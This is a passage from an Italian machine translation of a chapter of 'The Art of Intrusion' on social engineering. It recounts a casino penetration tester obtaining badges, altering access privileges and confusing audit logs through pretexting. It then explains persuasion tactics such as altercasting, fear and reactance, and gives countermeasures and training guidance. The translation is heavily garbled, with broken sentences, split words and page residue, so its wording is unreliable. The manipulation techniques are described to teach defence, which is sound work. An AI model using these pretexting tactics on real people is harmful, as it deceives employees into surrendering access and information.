Whurley avventa su questa situazione instabile, riconoscendo poteva benefit. Larry disse a sua moglie: "Senti, non posso parlare. Ho qualcuno qui in ufficio. "Whurley cenno a Larry di mettere la moglie in attesa di un secondo e poi ha offerto consigli su quanto fosse importante per lui di lavorare attraverso il problema con lei. E si è offerto di prendere uno dei badge se Larry gli avrebbe mostrato dove si trovavano.

"Allora Larry mi si avvicinò a uno schedario, aprì un cassetto, e basta detto 'prendere uno di questi.' Poi tornò alla sua scrivania e prese il telefono. Ho notato che non c'era nessun foglio sign-out o log del badge numeri, così ho preso due dei tanti che erano lì. "Lui ora non aveva solo un distintivo, ma che gli consenta l'accesso al NOC in qualsiasi momento. Whurley poi diretti di nuovo a vedere il suo nuovo amico Megan, recuperare il suo punto di accesso wireless, e vedere cos'altro avrebbe potuto scoprire. E poteva prendere il suo tempo su di esso.

Ho pensato che il tempo non avrebbe molta importanza, perché lui sarebbe in telefono con la moglie e lui sarebbe rimasto distratto per più di lui pensò. Ho impostato il cronometro sul mio conto alla rovescia venti minuti, il tempo per me di fare un po' di esplorare senza levatoio ing sospetto supplementare da Larry, che sembrava sospettare qualcosa era finito.

Chiunque abbia mai lavorato in un reparto IT sa che badge di identificazione sono legati ad un sistema informatico; con il diritto di accesso del PC, è possibile espandere l'accesso per andare ovunque nell'edificio. Whurley sperava di display coprire il computer in cui i privilegi di accesso di badge sono stati controllati in modo da potrebbe modificare l'accesso sui due scudetti che aveva. Attraversò i corridoi cercando in uffici per il sistema di controllo per i cartellini, che si è rivelato più difficile di quanto pensasse. Si sentiva frustrato e perplesso.

Decise di chiedere a qualcuno e si stabilì in guardia che era stato così

amichevole all'ingresso dei dipendenti. Ormai molte persone lo avevano visto con Richard, in modo che i sospetti erano quasi inesistenti. Whurley trovato

Capitolo 10 ingegneri sociali - come funzionano e come fermarli

229

Pagina 251

il suo marchio e gli disse che aveva bisogno di vedere il controllo di accesso agli edifici sistema. La guardia non ha nemmeno chiedere perché. Nessun problema. Gli è stato detto esattamente

dove trovare ciò che stava cercando.

"Ho installato il sistema di controllo e entrato nella piccola rete armadio in cui si trovava. Lì ho trovato un PC sul pavimento con la lista per i badge di identificazione già aperto. No screen saver, nessuna password - niente a rallentare me down ". A suo avviso, questo era tipico. "Le persone hanno un 'out dagli occhi, lontano dal cuore 'mentalità. Se un sistema come questo è in una controllata area di accesso, che pensano non ci sia alcun bisogno di molta attenzione alla protezione il computer. "

Oltre a dare se stesso tutte le aree di accesso, c'era una cosa più voleva fare:

Solo per divertimento, ho pensato che avrei dovuto prendere il distintivo in più, aggiungere un po ' privilegi di accesso, passare il nome, e poi passare con un dipendente che sarebbe stato in giro per il casinò, inavvertitamente aiutandomi a confondere i registri di controllo. Ma chi avrebbe I scegliere? Perché Megan, ovviamente - sarebbe facile passare il badge con lei. Tutto quello che ho dovuto fare è dirle che avevo bisogno del suo aiuto con la revisione.

Quando Whurley entrò, Megan era cordiale come sempre. Ha spiegato che aveva completato il test e necessario per ottenere che le attrezzature indietro.

Ha poi detto Megan che aveva bisogno del suo aiuto. "La maggior parte ingegneri sociali sarebbe d'accordo che le persone sono troppo disposti ad aiutare. "Aveva bisogno di vedere Distintivo di Megan per verificare il rispetto della lista che aveva. Pochi istanti dopo, Megan aveva un badge che confondere ulteriormente le cose, mentre Whurley aveva il distintivo e il distintivo che lo avrebbe tag come esecutivo nei registri.

Quando Whurley tornato nell'ufficio di Larry, il manager era sconvolta appena terminato la chiamata con la moglie. Infine appendere, era pronto a continuare la conversazione. Whurley ha chiesto che i diagrammi di rete siano spiegato in dettaglio a lui, ma poi interrotta e, per disarmarlo,

Whurley chiesto come andavano le cose con la moglie di Larry. I due gli uomini hanno trascorso quasi un'ora a parlare di matrimonio e di altre questioni di vita. *Alla fine del nostro colloquio, ero convinto che Larry non sarebbe mi ha causato più problemi eventuali. Così, ora spiego a Larry che il mio portatile ha uno speciale software di controllo ho bisogno di correre contro il rete. Dal momento che di solito hanno la marcia più alta, ottenendo il portatile collegato alla rete è sempre facile, perché non vi è un geek sul pianeta che non vuole vedere in esecuzione.*

L'arte dell'intrusione

230

Pagina 252

Dopo un po ', Larry si allontanò per fare alcune telefonate e partecipare

ad altri articoli. Lasciato a se stesso, Whurley scansionato la rete ed è stato in grado di compromettere diversi sistemi, sia macchine Windows e Linux, a causa della cattiva gestione della password, e poi trascorso quasi due ore avvio e arresto copie delle informazioni dalla rete e persino bruciando alcune delle voci su DVD ", che non è mai stato in discussione."

Dopo aver completato tutto questo ho pensato che sarebbe stato divertente, e usare-ful, di provare una cosa. Sono andato a ogni individuo che ho avuto entrare in contatto con - e alcuni che mi aveva appena brevemente visto con gli altri - e ho detto loro qualche variante di "Be ", ho finito.

Diciamo, potresti farmi un favore. Mi piace raccogliere le immagini di tutte le per- PLE e luoghi con cui lavoro a. Ti dispiacerebbe scattare una foto con me? "Questo si è rivelato essere" incredibilmente semplice. "

Molte persone anche offerto di prendere le immagini di lui con gli altri in uffici nelle vicinanze. Distintivi Aveva anche assicurato, diagrammi di rete e accesso alla rete del casino. E aveva le foto per dimostrarlo tutti.

Alla riunione di riesame, il capo di Internal Audit lamentava che Whurley aveva il diritto di tentare di accedere ai sistemi in modo fisico perché "non era il modo in cui sarebbero stati attaccati." Whurley anche ha detto che quello che ha fatto delimitato a "criminale" e che il cliente non ha a tutti di apprezzare le sue azioni.

Whurley spiegato:

Perché il casino pensare che quello che ho fatto è stato ingiusto? La risposta era semplice. Non avevo lavorato con tutto il casino prima e non ha fatto comprendere appieno i regolamenti [operano sotto]. La mia relazione potrebbe causare loro di essere controllati dalla Commissione Gaming, che potrebbero potenzialmente avere ripercussioni finanziarie attuali.

Whurley è stato pagato in pieno, quindi non gli dispiaceva molto. Volle che aveva lasciato una migliore impressione sul client, ma sentivo che praticamente odiato l'approccio che aveva usato e ho pensato che ingiusto per loro e per i loro dipendenti. "Hanno fatto bene in chiaro che non vuole veramente vedermi più in giro. "

Che non era accaduto prima; Di solito i clienti hanno apprezzato il risultati del suo audit e li vedevano come quello che ha definito "teaming mini-rosso eventi o giochi di guerra ", nel senso che erano a posto con in fase di test con il stessi metodi che un hacker ostile o ingegnere sociale potrebbe. "Clienti quasi sempre ottenere un brivido fuori di esso. Ho avuto, troppo, fino a questo punto della mia carriera. "

Capitolo 10 ingegneri sociali - come funzionano e come fermarli

231

Nel complesso, Whurley tariffe questo esperienza Vegas come un successo nella zona di test, ma un disastro nel settore delle relazioni client. "Io probabilmente mai lavoro a Las Vegas di nuovo ", si lamenta.

Ma poi, forse la Gaming Commission ha bisogno del Ser- consulenza gelati di un hacker etico che conosce già il suo modo intorno alle aree posteriori di un casinò.

Io

Nsight

Psicologo sociale Brad Sagarin, PhD, che ha fatto uno studio di persuasione Sion, descrive arsenale dell'ingegnere sociale in questo modo: "Non c'è nulla

magico ingegneria sociale. L'ingegnere sociale impiega lo stesso tecniche di persuasione il resto di noi usano ogni giorno. Prendiamo ruoli. Noi cercare di costruire credibilità. Chiediamo in obblighi reciproci. Ma a differenza di più di noi, l'ingegnere sociale applica queste tecniche in un manipolativo, maniera ingannevole, altamente immorale, spesso con effetti devastanti. "

Abbiamo chiesto Dr. Sagarin di fornire descrizioni del psicologico principi alla base delle tattiche più comuni utilizzati da inge- sociale gneri. In un certo numero di casi, ha accompagnato la sua spiegazione con una esempio dai piani di libro precedente Mitnick / Simon, *The Art of Deception* (Wiley Publishing, Inc., 2002), che illustrato la partitattica colare.

Ogni articolo inizia con una informale spiegazione non scientifica del principio, e un esempio.

Bardature di Ruolo

L'ingegnere sociale presenta alcune caratteristiche comportamentali del ruolo che o lei è mascherata in. La maggior parte di noi tende a riempire gli spazi vuoti quando somministrato solo alcune caratteristiche di un ruolo - si vede un uomo vestito come un esecutive e assumere lui è intelligente, si è concentrata, e affidabile.

Esempio: Quando Whurley entrò nel Eye in the Sky room, era vestito come un dirigente, parlava con un'autorità comandante, e ha dato ciò che gli uomini nella stanza ha preso per essere un ordine di azione. Aveva successo indossato quelle di un manager del casinò o esecutiva.

In quasi ogni attacco di ingegneria sociale, l'attaccante utilizza trappole della ruolo così l'obiettivo sarà dedurre altre caratteristiche del ruolo e agire conformuenza. Il ruolo può essere un tecnico IT, un cliente, un nuovo noleggiato, o qualsiasi di molti altri che normalmente incoraggiare il rispetto di una richiesta.

Orpelli comuni includono menzionare il nome del capo del bersaglio o

L'arte dell'intrusione

232

altri dipendenti, o tramite società o industria terminologia o gergo. Per in-persona attacchi, la scelta attaccanti di abbigliamento, gioielli (un perno società, orologio da polso da un atleta, una penna costosa, un anello di scuola), o grooming (per esempio, acconciatura) sono anche trappole che possono suggerire credibilità nel ruolo che l'attaccante sta sostenendo. La potenza di questo metodo cresce dal fatto che una volta che accettiamo che qualcuno (come un dirigente, un cliente, un collega dipendente), facciamo inferenze che attribuiscono altre caratteristiche (un esecutivo è ricco e potente, uno sviluppatore di software è più smaliziati ma può essere socialmente imbarazzante, un collega è affidabile).

Quante informazioni sono necessarie prima che la gente iniziare a fare questi inferenze? Non tanto.

Credibilità

Stabilire la credibilità è il primo passo nella maggior parte degli attacchi di social engineering, un pietra miliare per tutto ciò che è da seguire.

Esempio: Whurley suggerito di Richard, una persona IT di alto livello, che i due di loro hanno pranzato insieme, rendendosi conto che il suo essere visto con Richard sarebbe stabilire immediatamente la sua credibilità con qualsiasi dipendente che ha notato insieme.

Dr. Sagarin identificato tre metodi usati in *The Art of Deception* che ingegneri sociali si affidano a costruire credibilità. In un metodo, l'attaccante

dice qualcosa che sembrerebbe essere argomentando contro la sua auto interesse, come si trova nel capitolo 8 di *L'arte dell'inganno* nella storia "One Semplice chiamata ", quando l'attaccante racconta la sua vittima," Ora, andare avanti e tipo la password ma non mi dica di cosa si tratta. Non si dovrebbe mai dire a nessuno la password, nemmeno il supporto tecnico. "Questo suona come una dichiarazione da qualcuno che sia affidabile.

Nel secondo metodo, l'attaccante avverte l'obiettivo di un evento che (All'insaputa del bersaglio) l'attaccante fa accadere. Ad esempio, in la storia, "l'interruzione di rete," che appare nel capitolo 5 di *The Art of Deception* , l'attaccante spiega che la connessione di rete potrebbe andare giù. L'attaccante poi fa qualcosa che rende la vittima perde la sua rete collegamento lavorare, dando la credibilità attaccante negli occhi della vittima. Questa tattica previsione è spesso combinato con il terzo di questi metodo d' ODS, in cui l'attaccante ulteriormente "dimostra" lui o lei è credibile da helping vittima risolvere un problema. Questo è quello che è successo in "The Network Interruzione ", quando l'attaccante prima ha avvertito che la rete potrebbe andare fuori, poi causato la connessione di rete della vittima a fallire, come previsto, e successivamente ripristinato il collegamento e ha affermato di aver "fissato il problema ", lasciando la sua vittima sia fiducioso e grato.

Capitolo 10 ingegneri sociali - come funzionano e come fermarli

233

Forzare la destinazione in un ruolo (Altercasting)

L'ingegnere sociale manovra il suo bersaglio in un ruolo alternativo, come ad esempio costringendo presentazione da essere aggressivo.

Esempio: Whurley, nelle sue conversazioni con Lenore, si è messo in un ruolo bisognosi (appena rotto con la sua ragazza, appena trasferito in città e le esigenze un lavoro), per manovrare il suo ruolo in un helper.

Nella sua forma più comune, l'ingegnere sociale mette il suo bersaglio in il ruolo di helper. Una volta che una persona che ha accettato il ruolo di aiutante, lui o lei di solito trovare scomodo o difficile fare marcia indietro da aiutare.

Un ingegnere sociale abile cercherà di ottenere un senso di un ruolo che la vittima sarebbe comodo in. L'ingegnere sociale sarà quindi manipolare la conversazione di manovrare la persona in quel ruolo - come ha fatto Whurley sia con Lenore e Megan quando intuiva che sarebbe comodo come aiutanti. Le persone sono propensi ad accettare ruoli che sono positivi e che fanno sentire bene.

Distrarre dal pensiero sistematico

Gli psicologi sociali hanno determinato che gli esseri umani processo informazioni in uno dei due modi, che hanno etichettato il tema tematico e l'euristica.

Esempio: Quando un manager necessaria per gestire una situazione difficile con il suo moglie sconvolta, Whurley ha approfittato dello stato emotivo dell'uomo e distrazione per fare una richiesta che lo ha atterrato un autentico dipendente del distintivo.

Dr. Sagarin spiega, "Quando l'elaborazione sistematica, pensiamo curapienamente e razionalmente una richiesta prima di prendere una decisione. Quando proelaborazione euristicamente, invece, prendiamo collegamenti mentali prendere decisioni. Ad esempio, si potrebbe dar seguito a una richiesta in base che il richiedente sostiene di essere, piuttosto che la sensibilità del mazioni

mazioni lui o lei ha chiesto. Cerchiamo di operare nel modo sistematico quando l'argomento è importante per noi. Ma la pressione del tempo, distrazione, o una forte emozione ci può passare alla modalità euristica. "

Ci piace pensare che normalmente operiamo in un modo razionale, logico, prendere decisioni basate sui fatti. Psicologo Dr. Gregory Neidert è stato citato come dicendo, "noi umani sono in esecuzione i nostri cervelli al minimo circa il 90 per cento al 95 per cento del tempo. "

1

Gli ingegneri sociali cercano di prendere Vantaggio di questo, usando una varietà di metodi di influenza per forzare la loro vittime di spostare fuori dal modo sistematico - sapendo che la gente operanti nel modalità euristica sono molto meno probabilità di avere accesso al proprio L'arte dell'intrusione

234

difese psicologiche; essi sono meno probabilità di essere sospettosi, porre domande, o obiezioni presenti all'attaccante.

Gli ingegneri sociali vogliono avvicinarsi obiettivi che sono in modalità euristica e tenerli lì. Una tattica è quello di chiamare un obiettivo a cinque minuti prima fine della giornata di lavoro, contando sul fatto che l'ansia di lasciare il ufficio in tempo può portare l'obiettivo di soddisfare una richiesta che potrebbe altrimenti sono stati contestati.

Momentum di conformità

Gli ingegneri sociali creano un moto di compliance, facendo una serie di richieste, a partire da quelli innocui.

Esempio: Dr. Sagarin cita la storia "CreditChex," che appare nel capitolo 1 di The Art of Deception, in cui l'attaccante seppellisce la questione chiave, informazioni sensibili su numero ID Merchant della banca, che è stato utilizzato come password per verificare l'identità al telefono, nel mezzo di una serie domande di innocue. Poiché le domande iniziali sembrano essere innocuo, questo stabilisce un quadro in cui la vittima è posizionato per trattare la maggiori informazioni sensibili come anche innocuo.

Televisione scrittore / produttore Richard Levinson ha fatto questo una tattica del suo più famoso personaggio, Columbo, interpretato da Peter Falk. Il pubblico felice nel sapere che proprio come il detective stava allontanando, e la sospetto stava abbassando le sue difese, soddisfatti di sé a fool-zione del detective, Columbo si fermava a chiedere un'ultima domanda, la chiave domanda che era stata la costruzione a lungo. Gli ingegneri sociali frequenze guenza fare uso di questa tattica "uno-più-cosa".

Il desiderio di aiutare

Gli psicologi hanno identificato molti benefici persone ricevono quando aiutare gli altri. Aiutare può farci sentire responsabilizzati. Si può tirarci fuori di un cattivo umore. Può farci sentire bene con noi stessi. Gli ingegneri sociali trovare molti modi per sfruttare la nostra inclinazione a essere utile.

Esempio: Quando Whurley presentò all'ingresso della dei lavoratori casino, la guardia credeva la sua storia di prendere un "miele" per il pranzo, in prestito lui i soldi per la data, gli ha dato consigli su come gestire una donna, e non è diventato insistente quando Whurley allontanò senza mai pregiudizi-ing mostrato ID distintivo di un dipendente.

Dr. Sagarin commenta: "Perché gli ingegneri sociali spesso colpiscono persone

che non conoscono il valore delle informazioni che stanno dando via, la aiuto può essere visto come il trasporto poco costo per l'assistente. (Quanto lavoro

Capitolo 10 ingegneri sociali - come funzionano e come fermarli

235

Pagina 257

è che faccia una query rapida database per il povero slob sull'altra estremità di al telefono?) "

Attribution

Attribuzione si riferisce al modo in cui le persone spiegano il proprio comportamento e che di altri. Un obiettivo dell'ingegnere sociale è quello di avere l'attributo target cer- Caratteristiche Tain a lui o lei, come la competenza, affidabilità, creditrice bilità, o likability.

Esempio: Dr. Sagarin cita il racconto, "The Seeker Promotion," aparendo nel capitolo 10 di The Art of Deception . L'attaccante si blocca intorno per un mentre prima di richiedere l'accesso a una sala conferenze, mitigando sospetto perché le persone assumono un intruso non osa perdere tempo inutilmente in un luogo dove lui o lei potrebbe essere catturato.

Un ingegnere sociale può camminare fino a un receptionist hall, mettere una fattura \$ 5 sul bancone, e dire qualcosa come: "Ho trovato questo sul pavimento.

Qualcuno ha detto che hanno perso un po 'di soldi? "La receptionist attribuirebbe al sociale ingegnerizzare le qualità di onestà e affidabilità.

Se vediamo un uomo in possesso di un porta aperta per una signora anziana, noi pensiamo che sia essere educato; se la donna è giovane e attraente, abbiamo probabilmente attribuiamo un molto diverso movente.

Simpatia

Gli ingegneri sociali hanno spesso approfittato del fatto che tutti noi siamo più propensi a dire "sì" alle richieste da parte di persone che ci piacciono.

Esempio: Whurley è stato in grado di ottenere informazioni utili da Lenore, il ragazza ha incontrato presso il centro fitness, in parte utilizzando "lettura a freddo" per valutare la sua

reazioni e continuamente adattare le sue osservazioni a cose che lei avrebbe risposto.

Questo portò a sentire che hanno condiviso gusti e interessi simili ("Anch'io!").

Il suo senso di volergli bene fece più aperto alla condivisione delle informazioni che voleva ottenere da lei.

Persone come quelli che sono come noi, come quello di avere interessi di carriera simili, formazione, e gli hobby personali. L'ingegnere sociale sarà

spesso la ricerca di sfondo del suo obiettivo e dotarsi di fingere un

interesse per le cose target preoccupa - la vela o il tennis, aria antichi

aerei, raccogliendo vecchi fucili, o qualsiasi altra cosa. Gli ingegneri sociali possono anche

aumentare la simpatia attraverso l'uso di complimenti e lusinghe, e fisicamente

ingegneri sociali mente attraenti possono sfruttare la loro attrattiva per

aumentare la simpatia.

L'arte dell'intrusione

236

Pagina 258

Un'altra tattica è l'uso di nome-dropping di persone che l'obiettivo

conosce e ama. In questo, l'attaccante sta cercando di essere visto come parte della

"In gruppo" all'interno dell'organizzazione. Gli hacker usano anche adulazione o compliance menti da accarezzare l'ego della vittima, o persone bersaglio nella all'organizzazione

zione che sono stati recentemente premiati per qualche realizzazione. Ego carezze può spingere la vittima ignara nel ruolo di un aiutante.

Paura

Un ingegnere sociale a volte fare il suo bersaglio credono che alcuni cosa terribile sta per accadere, ma che il disastro imminente può essere evitata se il target non come suggerisce l'attaccante. In questo modo, l'attaccante usa la paura come arma.

Esempio: Nella storia, "La Patch di emergenza," che appare nel capitolo 12 di L'arte dell'inganno, l'ingegnere sociale spaventa la sua vittima con il minaccia che la vittima perde dati importanti a meno che la vittima accetta di avere una "patch" di emergenza installato sul server di database della società. La paura rende la vittima vulnerabile al di ingegnere sociale "soluzione".

Attacchi basati sullo stato spesso basano sulla paura. Un ingegnere sociale master querading come un dirigente della società può indirizzare un segretario o junior staffer con una richiesta "urgente", e con l'implicazione che il subalterno sarà nei guai, o potrebbe anche essere licenziato, per la mancata esecuzione.

Reattanza

Reattanza psicologica è la reazione negativa che proviamo quando siamo percepiscono che le nostre scelte e le libertà vengono portati via. Quando nel preda reattanza, perdiamo il nostro senso di prospettiva come il nostro desiderio per il cosa abbiamo perso eclissa tutto il resto.

Esempio: Due storie in The Art of Deception illustrano la potenza di Reattanza - si basa sulle minacce riguardanti la perdita di accesso alle informazioni, l'altra sulla perdita di accesso alle risorse di calcolo.

In un attacco tipico basato sulla reattanza, l'attaccante racconta la sua destinazione che l'accesso ai file di computer non sarà disponibile per un tempo, e nomi di un tempo periodo che sarebbe del tutto inaccettabile. "Non sta andando ad essere in grado di accedere ai file per le prossime due settimane, ma faremo di tutto possibile per assicurarsi che non sarà più di quello. "Quando la vittima diventa emotivo, l'attaccante si offre di aiutare a ripristinare i file più veloce; tutto ciò che serve è il nome utente e la password del bersaglio. L'obiettivo, sollevata in un modo per evitare la temuta perdita, di solito rispettare volentieri.

Capitolo 10 ingegneri sociali - come funzionano e come fermarli

237

L'altro lato della moneta comporta l'uso del principio di scarsità di costringere l'obiettivo in perseguire un guadagno promesso. In una versione, le vittime sono attratto da un sito Web in cui la loro sign-on di informazioni o la carta di credito informazioni possono essere rubate. Come reagireste a una e-mail che promesso un nuovo Apple iPod per \$ 200 ai primi 1.000 visitatori di un par-Sito Web colare? Vuoi andare al sito e registrarsi per comprare uno? E quando si registra con il vostro indirizzo email e scegliere una password, sarà si utilizza scegliere la stessa password utilizzata altrove?

C

COUNTERMEASURES

Attenuanti attacchi di ingegneria sociale richiede una serie di coordinate sforzi, tra cui:

- Sviluppare chiari protocolli di sicurezza, concise che vengono applicate coerente in tutta l'organizzazione
- formazione di sensibilizzazione in via di sviluppo della sicurezza

- Sviluppare semplici regole definendo quali sono le informazioni sensibili
- Lo sviluppo di una semplice regola che dice che ogni volta che un richiedente sta chiedendo un'azione ristretta (cioè, un'azione che coinvolge l'interazione con apparecchiature informatica dove il con- le sequenze non sono noti), l'identità del richiedente deve essere verificata secondo la politica aziendale
- Lo sviluppo di una politica di classificazione dei dati
- dipendenti di formazione sui modi di resistere ingegneria sociale attacchi
- test di sensibilità del vostro dipendente per ingegneria sociale attacchi di effettuare una valutazione di sicurezza

L'aspetto più importante del programma richiede stabilire tuno protocolli di sicurezza adeguate e quindi motivare i dipendenti di aderire al protocolli. La sezione successiva illustra alcuni punti fondamentali da considerare quando progettazione di programmi e formazione per contrastare la minaccia di ingegneria sociale.

Linee guida per la formazione

Di seguito sono riportate alcune linee guida per la formazione:

- *Aumentare la consapevolezza che gli ingegneri sociali sarà quasi certamente attaccare la loro azienda a un certo punto, forse più volte.*

L'arte dell'intrusione

238

Ci può essere una mancanza di consapevolezza generale che gli ingegneri sociali costituire una minaccia sostanziale; molti non sono neanche a conoscenza che esiste la minaccia. La gente di solito non si aspettano di essere manipola- relati e ingannati, in modo da ottenere colti di sorpresa da un sociale attacco di ingegneria. Molti utenti di Internet hanno ricevuto un email presumibilmente dalla Nigeria che richiede aiuto in movimento una notevole quantità di denaro per i membri; offrono una persona percentuale del lordo per questo tipo di assistenza. In seguito, si è richiesto per avanzare alcune tasse per avviare il processo di trasferimento, solo per essere lasciato tenendo la borsa. Una signora di New York di recente è caduto per la truffa e "preso in prestito" centinaia di migliaia di di dollari dal suo datore di lavoro per avanzare le tasse. Anziché Passo il tempo sul suo nuovo yacht ancora-a-essere-acquistato, è di fronte alla prospettiva di condivisione di un letto a castello in una detenzione federale impianto zione. Persone davvero cadono per queste ingegneria sociale attacchi; altrimenti, i truffatori nigeriani sarebbero interrompere l'invio le e-mail.

- *Utilizzare gioco di ruolo per dimostrare la vulnerabilità personale sociale tecniche di ingegneria, e per formare i dipendenti in metodi per loro resistere.*

La maggior parte delle persone operano sotto l'illusione di invulnerabilità, immaginando sono troppo intelligente per essere manipolato, truffato, ingannato, o influenzato. Essi ritengono che solo queste cose capita di persone "stupide". Sono disponibili due metodi per aiutare dipendenti a comprendere la loro vulnerabilità e falle vero credenti. Un metodo comporta dimostrare l'efficacia ness di ingegneria sociale "bruciando" alcuni dipendenti prima per la loro partecipazione a un seminario di sensibilizzazione alla sicurezza, e quindi

averli riferiscono le loro esperienze in classe. Altro approccio è quello di dimostrare la vulnerabilità analizzando effettiva ingegneria sociale studi di casi per illustrare come le persone sono sensibili a questi attacchi. In entrambi i casi, la formazione dovrebbe esaminare il meccanismo di attacco, analizzando perché hanno lavorato, e poi discutendo come tali attacchi possono essere riconosciuti e resistete.

- *tesa a creare un senso negli studenti che si sentiranno sciocco se manipolato da un attacco di ingegneria sociale dopo l'allenamento.*

La formazione dovrebbe sottolineare la responsabilità di ciascun dipendente aiutare a proteggere le risorse aziendali sensibili. Inoltre, è fondamentale che i progettisti della formazione riconoscano che la motivazione a seguire protocolli di sicurezza in certe situazioni solo

Capitolo 10 ingegneri sociali - come funzionano e come fermarli
239

nasce da una comprensione del perché i protocolli sono ne-
ne-. Durante l'allenamento di sicurezza-consapevolezza, gli istruttori dovrebbe dare esempi di come il protocollo di sicurezza protegge il business, e il danno che potrebbe capitare la società se la gente li ignorano o sono negligenti.

E'anche utile sottolineare che una ingegneria sociale di successo attacco può compromettere le informazioni personali del dipendente e i suoi amici e collaboratori in azienda. A com-
database di risorse umane di società può contenere zioni personali mazioni che sarebbe estremamente prezioso per i ladri di identità. Ma il miglior fattore motivante può essere che a nessuno piace essere manipolato, ingannato o truffato. Come tali, le persone sono molto motivata non sentirsi sciocco o stupido cadendo per alcuni truffa.

Programmi per Contrastare ingegneria sociale

Di seguito sono riportati alcuni punti fondamentali da considerare nella progettazione di programmi:

- *Sviluppare procedure per le azioni dei dipendenti in caso di ingegneria sociale ing attacco è riconosciuta o sospetta.*

Si rimanda al completo Manuale di sicurezza

politiche previste in *L'arte dell'inganno*. Queste politiche dovrebbero essere considerata come riferimento; prendi quello che ti serve e lasciare il riposo. Una volta che sono state sviluppate procedure aziendali e messo in uso, le informazioni dovrebbero essere pubblicate sul com-
intranet di società, dove è rapidamente disponibili. Un altro eccellente risorsa è trattato di Charles Cresson legno sullo sviluppo politiche di sicurezza, *privacy Information Security Made Easy* (San Jose, CA: Baseline Software, 2001).

- *Sviluppare semplici linee guida per i dipendenti, definire cosa zioni zioni la società ritiene sensibile.*

Essendo elaborare le informazioni in modo euristico gran parte della tempo, semplici regole di sicurezza può essere progettato per alzare una bandiera rossa quando le richieste sono fatte coinvolgere informazioni sensibili (come ad informazioni aziendali come riservate come password di un individuo

word). Una volta che un dipendente riconosce che informazioni sensibili è stata richiesta o qualche azione di computer, lui o lei può fare riferimento al manuale di politica di sicurezza della compagnia pagina intranet Web per determinare il protocollo corretto o procedure da seguire.

L'arte dell'intrusione

240

Inoltre, è importante capire e trasmettere a dipendenti che anche le informazioni non considerati sensibili può essere utile per un ingegnere sociale, che può raccogliere pepite d'informazioni apparentemente inutili che possono essere utili per fornire informazioni per creare l'illusione di credibilità e TRUST-dignità. Il nome del responsabile di progetto su un sensibile progetto aziendale, la posizione fisica di un team di sviluppo ERS, il nome del server che utilizza un particolare impiegato, e il nome del progetto assegnato a un progetto segreto sono tutti segnale signifi-, e ogni azienda ha bisogno di pesare le esigenze del attività contro la possibile minaccia alla sicurezza.

Questi sono solo alcuni dei tanti esempi di apparentemente unim- informazioni importanti che possono essere utile a un utente malintenzionato. Scenari come quelle in *The Art of Deception* può essere utile nel trasmettere questo concetto ai tirocinanti.

● *Modificare le norme dell'organizzazione cortesia - Va bene dire "no"!*

La maggior parte di noi si sentono a disagio o disagio dire "no" alla OTHERS ERS. (Un prodotto ora sul mercato è progettato per chi sono troppo educato per riagganciare il telemarketing. Quando un telemar- Keter chiama, l'utente preme il tasto * e riaggancia; una voce poi dice al chiamante, "Mi scusi, questo è il telefono Butler e io sono stati diretti a informarvi che questa famiglia deve purtroppo rifiutare la tua richiesta. "Mi piace il" rammarico ". Ma Penso che sia un interessante commento che così tante persone bisogno di acquistare un dispositivo elettronico per dire "no" per loro. Voluto *si* paga \$ 50 per un dispositivo che consente di risparmiare il "imbarazzo" di dire "no"?)

Programma di formazione di ingegneria sociale della società deve avere come uno dei suoi obiettivi la ridefinizione della norma gentilezza in azienda. Questo nuovo comportamento includerebbe educatamente in calo le richieste sensibili fino alla identità e autorizzazione zione del richiedente può essere verificata. Per esempio, la formazione ing potrebbe includere suggerire risposte su ordine di, "Come dipendenti della società X, entrambi sanno quanto sia importante a seguire protocolli di sicurezza. Così, entrambi abbiamo capito che io sono andando a verificare la vostra identità prima di rispettare la tua richiesta. "

● *sviluppo di procedure per verificare l'identità e l'autorizzazione.*

Ogni azienda deve sviluppare un processo per verificare l'identità e autorizzazione delle persone che chiedono informazioni o azioni da parte dei dipendenti. Il processo di verifica in ogni situazione sarà

Capitolo 10 ingegneri sociali - come funzionano e come fermarli

necessariamente dipenderà dalla sensibilità delle informazioni o essendo l'azione richiesta. Come per molte altre questioni in sul posto di lavoro, le esigenze di sicurezza devono essere bilanciati contro il esigenze di business dell'organizzazione.

Questa formazione deve affrontare non solo le tecniche evidenti ma quelle sottili così, come l'uso di un biglietto da visita Whurley per stabilire le sue credenziali. (Ricordate il personaggio del titolo interpretato da James Garner nella serie 1970 detective *The Rockford Files*, che teneva una piccola tipografia nella sua auto in modo da potrebbe stampare fino un adeguato biglietto da visita per ogni occasione.) Abbiamo fornito un suggerimento per la procedura di verifica in *The Art of Deception*.

2

- *Ottenere top management buy-in.*

Questo è, naturalmente, quasi un cliché: Ogni gestione significativa sforzo mento inizia con la consapevolezza che il programma bisogno di supporto per la gestione per avere successo. Forse ci sono pochi sforzi aziendali in cui tale sostegno è più importante sicurezza, che cresce ogni giorno di più vitale, ma che fa ben poco per ulteriori ricavi aziendali e quindi spesso passa in secondo piano. Eppure, questo fatto rende solo ancora più importante che una com-impegno a inizio sicurezza dall'alto.

In una nota correlata, top management dovrebbe inviare due messaggi chiari su questo argomento. Saranno impiegati *mai* chiesto dalla direzione di aggirare qualsiasi protocollo di sicurezza. E no dipendente otterrà nei guai per protezione seguente prototipo cols, anche se diretto da un manager di violarle.

Su una nota più leggera: Incontra Manipolatore in tua famiglia - i vostri bambini

Molti bambini (o è più?) Hanno un sorprendente grado di manipolativa skill - proprio come l'abilità usata da ingegneri sociali - che nella maggior parte dei casi perdono mentre crescono e diventano più socializzato. Ogni genitore ha stato il bersaglio di un attacco di un bambino. Quando un ragazzo vuole qualcosa abbastanza male, lui o lei può essere implacabile a un livello che, allo stesso il tempo è altamente fastidioso, ma anche divertente.

Come Bill Simon e io stavamo finendo questo libro, sono stato testimone di un bambino full-bore attacco di ingegneria sociale. La mia ragazza e il suo Darci nove Yearbook figlia Briannah mi aveva raggiunto a Dallas mentre ero lì in Business. Presso l'hotel l'ultimo giorno prima di prendere un volo serale, L'arte dell'intrusione

242

Briannah testato la pazienza di sua madre, chiedendo di andare a un ristorante aveva scelto per la cena, e gettò un temperamento tipicamente infantile capriccio. Darci applicata la pena mite di prendere temporaneamente via il suo Gameboy e dicendole che non poteva usare i suoi giochi per computer per un giorno. Briannah sopportare questo per un po', poi, a poco a poco, cominciarono a cercare

diversi modi di convincere la madre a farle avere i suoi giochi indietro, ed era ancora a farlo quando sono tornato e li raggiunsi. Costante del bambino fastidioso è stato fastidioso; poi ci siamo resi conto che stava cercando di ingegnere sociale noi e abbiamo iniziato a prendere appunti:

- "Sono annoiato. Posso prega di avere i miei giochi di nuovo." (Parlato come la domanda, non come una domanda.)
